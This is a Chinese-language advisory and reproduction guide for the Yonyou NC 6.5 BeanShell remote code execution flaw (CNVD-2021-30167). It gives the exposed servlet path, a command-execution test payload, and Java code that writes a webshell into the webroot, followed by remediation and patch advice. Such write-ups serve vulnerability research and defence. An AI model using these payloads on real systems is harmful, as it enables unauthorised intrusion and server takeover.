【CNVD-2021-30167】用友NC BeanShell RCE复现
字数 1120 2025-08-09 17:09:31
用友NC BeanShell RCE漏洞(CNVD-2021-30167)分析与复现指南
1. 漏洞概述
漏洞编号: CNVD-2021-30167
漏洞名称: 用友NC BeanShell远程代码执行漏洞
漏洞类型: 未授权访问 + 远程代码执行
危险等级: 高危
影响组件: 用友NC对外开放的BeanShell接口
漏洞原理
该漏洞源于用友NC系统对外开放了BeanShell接口(/servlet/~ic/bsh.servlet.BshServlet),且未实施适当的访问控制。攻击者可以在未授权的情况下直接访问该接口,通过构造恶意请求执行任意Java代码,进而实现远程代码执行(RCE)。
BeanShell是一个轻量级的Java脚本解释器,能够动态执行Java代码。当系统暴露此类接口且无安全防护时,便形成了严重的安全风险。
2. 影响范围
受影响版本
- 用友NC6.5版本
潜在危害
-
服务器完全控制: 攻击者可获取服务器高权限,可能导致:
- 蠕虫病毒传播
- 勒索病毒攻击
- 挖矿病毒植入
-
数据泄露风险:
- 核心业务数据泄露
- 敏感信息泄露
-
网页篡改风险:
- 跳转至恶意网站(如博彩页面)
- 植入暗链
- 其他内容安全问题
3. 漏洞复现
环境准备
- 目标系统: 用友NC6.5
- 测试工具: 浏览器或Burp Suite等HTTP工具
复现步骤
-
访问漏洞接口:
http://[target]/servlet/~ic/bsh.servlet.BshServlet正常应返回一个可执行代码的输入界面
-
执行测试命令:
在输入框中输入以下Payload并执行:exec("whoami"); -
验证结果:
- 如果漏洞存在,将返回当前系统用户信息
- 可尝试其他系统命令如
ipconfig或ifconfig进行进一步验证
高级利用
通过此接口,攻击者可以执行任意Java代码,例如:
-
写入Webshell:
import java.io.*; String str = "<% out.println(\"Hello World\"); %>"; FileOutputStream fos = new FileOutputStream("/path/to/webroot/shell.jsp"); fos.write(str.getBytes()); fos.close(); -
反弹Shell:
可结合Java的Runtime类执行系统命令建立反向连接
4. 修复建议
临时缓解措施
- 立即限制对
/servlet/~ic/bsh.servlet.BshServlet路径的访问 - 通过网络ACL限制只允许可信IP访问用友NC系统
官方补丁
用友官方已发布安全补丁,建议用户立即更新:
http://umc.yonyou.com/ump/querypatchdetailedmng?PK=18981c7af483007db179a236016f594d37c01f22aa5f5d19
长期防护建议
- 定期更新用友NC系统至最新版本
- 实施最小权限原则,限制不必要的网络访问
- 部署WAF等防护设备,拦截恶意请求
- 建立完善的安全监控体系,及时发现异常行为
5. 参考资源
- CNVD官方公告
- 用友官方安全公告(见补丁链接)
附录: 漏洞验证截图示例
[此处应插入漏洞验证过程的截图,展示命令执行结果]
注意: 本文档仅用于安全研究目的,未经授权对他人系统进行测试属于违法行为。安全研究人员应在获得明确授权的前提下进行漏洞验证工作。